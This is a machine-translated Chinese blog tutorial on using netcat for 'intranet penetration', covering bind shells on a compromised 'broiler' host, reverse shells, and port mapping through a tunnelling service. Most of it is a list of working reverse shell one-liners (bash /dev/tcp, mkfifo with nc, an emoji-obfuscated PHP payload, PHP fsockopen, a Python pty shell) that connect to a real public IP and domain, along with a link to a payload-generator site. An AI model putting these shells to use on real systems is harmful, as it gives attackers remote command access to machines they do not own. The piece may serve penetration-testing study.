当前位置:网站首页>Intranet penetration (NC)
Intranet penetration (NC)
2022-06-29 22:49:00 【Xiao Xiaoran】
List of articles
Intranet penetration technology (nc)
Netcat Often called nc, Have “ Swiss Army knife ” The reputation of the .
nc Small and strong , Can read and write TCP or UDP network connections , It is designed as a reliable back-end tool ,
Can be driven directly by other programs or scripts . meanwhile , It is also a network debugging and development tool with rich functions
, Because it can establish almost any type of connection you may use , And some very interesting built-in functions ,
It's based on socket Agreement work . In the field of penetration testing , We usually use it to bounce shell
Chat
Listen to the port on one side , Send a message to this port , Form a simple version of the server — Client model .
- Server side :
nc -lvp 8888
monitor 8888 port -l monitor -v Show details -p Designated port
- client :
nc -nv 192.168.100.140 8888
Connected to the server 8888 port -n Specify the number of IP Address -v Show details

File transfer
- Server side :
nc -lvp 8888 < test.txt
monitor 8888 port -l monitor -v Show details -p Designated port
- client :
nc -nvz 192.168.100.140 8888 > 1.txt
Connected to the server 8888 port -n Specify the number of IP Address -v Show details -z Turn the I / O off

Forward connection
chicken
nc -lvvp 8888 -te cmd.exe
nc -lvvp 8888 -te /bin/bash
Broiler monitor 8888 port -l monitor -vv Show more details -p Designated port -t Use interaction -e Program redirection , Once connected , Is executed
host
nc -nvv 192.168.10.14 8888
The host is connected to the broiler 8888 port -n Specify the number of IP Address -vv Show more details


Reverse connection
When the broiler is in the middle of the intranet , The host must have a public network ip, Then let the broiler take the initiative to connect to the host , Even if the broiler is a public network ip, But generally there is a firewall to intercept , So reverse connection is a good choice
chicken
nc -te /bin/bah 19.16.10.14 8888
host
nc -lvp 8888
Port mapping ( Peanut shell ,natapp)
Here we only use Peanut shell As an example …
Build a tcp Mapping

Experimental environment
chicken : 192.168.100.133
Local host : n4221p5430.wicp.vip(103.46.128.49):25741 -> 127.0.0.1:5555
Execute in the local host :
nc -lvp 5555
Execution in broiler :
Various payload Build site
https://s.xiaoxiaoran.top/
echo 'bash -i >& /dev/tcp/103.46.128.49/25741 0>&1' | bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 103.46.128.49 25741 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc n4221p5430.wicp.vip 25741 >/tmp/f
php -r '$="1";$="2";$="3";$="4";$="5";$="6";$="7";$="8";$="9";$="0";$=" ";$="<";$=">";$="-";$="&";$🤩="i";$=".";$🤨="/";$🥰="a";$="b";$="i";$="h";$="c";$="d";$="e";$="f";$="k";$="n";$="o";$="p";$="s";$="x";$ = $. $. $. $. $. $. $. $. $;$ = "103.46.128.49";$ = 25741;$ = "sh". $. $. $🤩. $. $. $. $. $. $. $. $. $. $. $. $. $;$ = $($,$);$ = $. $. $. $;$($);'
php -r '$sock=fsockopen("103.46.128.49",25741);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("103.46.128.49",25741);passthru("sh <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("n4221p5430.wicp.vip",25741));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'










边栏推荐
- Go zero micro Service Practice Series (VII. How to optimize such a high demand)
- Free PDF to word software sharing, these software must know!
- 深入解析kubernetes中的选举机制
- Design of Distributed Message Oriented Middleware
- Realizing deep learning framework from zero -- LSTM from theory to practice [theory]
- How can the local / park do a good job in industrial analysis?
- The server quickly sets up the alist integrated network disk website [pagoda panel one click deployment of alist]
- Discussion on distributed unique ID generation scheme
- Advanced use of the optional class
- Mysql database: storage engine
猜你喜欢

啃下大骨头——排序(一)

开源了 | 文心大模型ERNIE-Tiny轻量化技术,又准又快,效果全开

IFLYTEK AI learning machine summer new product launch AI + education depth combination to create a new height of products

《天天数学》连载54:二月二十三日

error: C2665: “QMessageBox::critical”: 4 个重载中没有一个可以转换所有参数类型

Daily mathematics serial 54: February 23

5-1系统漏洞扫描

Hidden worries behind the listing of shushulang: the performance has declined significantly, the market position is relatively backward, and the competitiveness is questionable
MySQL lock common knowledge points & summary of interview questions

从零实现深度学习框架——LSTM从理论到实战【理论】
随机推荐
MySQL 锁常见知识点&面试题总结
Mysql database: partition
leetcode 416. Partition Equal Subset Sum 分割等和子集(中等)
详细聊聊MySQL中auto_increment有什么作用
The client can connect to remote MySQL
Free PDF to word software sharing, these software must know!
分布式消息中间件设计
How ZABBIX 5.0 adds esxi6.7 to monitoring
Qt5.14.2 error connecting to the MySQL database of Ubuntu 20.04
How to use filters in jfinal to monitor Druid for SQL execution?
Evolution from stand-alone to distributed database storage system
Online text digit recognition list summation tool
MySQL backup database Linux
利用kubernetes中的leader选举机制来完成自己的HA应用
Conceptual understanding of deep learning (notes)
论文浅尝 | KR-GCN: 知识感知推理的可解释推荐系统
Mysql database: the difference between drop, truncate and delete
5-1系統漏洞掃描
Nacos-配置中心基本使用
5-2web application vulnerability scanning